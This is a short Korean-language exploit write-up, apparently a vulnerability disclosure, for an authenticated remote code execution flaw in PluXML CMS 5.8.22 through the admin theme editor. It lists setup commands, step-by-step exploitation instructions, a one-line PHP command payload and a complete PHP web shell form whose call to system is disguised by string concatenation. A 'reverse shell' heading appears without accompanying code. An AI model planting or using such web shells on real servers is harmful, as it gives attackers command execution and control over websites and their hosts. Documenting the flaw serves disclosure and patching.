
PluXML CMS 5.8.22 버전에서 심각한 원격 코드 실행(RCE) 취약점이 확인되었습니다. 이 취약점은 인증된 관리자가 테마 편집기 기능을 통해 악성 PHP 웹 셸을 업로드하여 웹 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다.
git clone https://github.com/pluxml/PluXml.git
cd PluXml
ddev config --project-type=php --php-version=8.1 --docroot=.
ddev start
단계별 익스플로잇
인증: 유효한 관리자 자격 증명으로 PluXML 관리자 패널에 로그인합니다. 테마 편집기로 이동:
관리 대시보드에 접근합니다.
이동 경로: 테마 → Home.php → 편집

악성 페이로드 주입:
home.php의 기존 내용을 PHP 웹 셸로 교체합니다.
예시 페이로드: <?php system($_GET['cmd']); ?>
수정된 파일을 저장합니다.
실행 트리거:
웹사이트의 메인 홈 페이지에 접속합니다. 주입된 PHP 코드가 웹 서버 권한으로 실행됩니다.
리버스 셸
웹 셸 페이로드
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input
type="TEXT"
name="cmd"
autofocus
id="cmd"
size="80"
>
<input
type="SUBMIT"
value="Execute"
>
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
$func_name = "sys" . "tem";
$func_name($_GET['cmd']);
}
?>
</pre>
</body>
</html>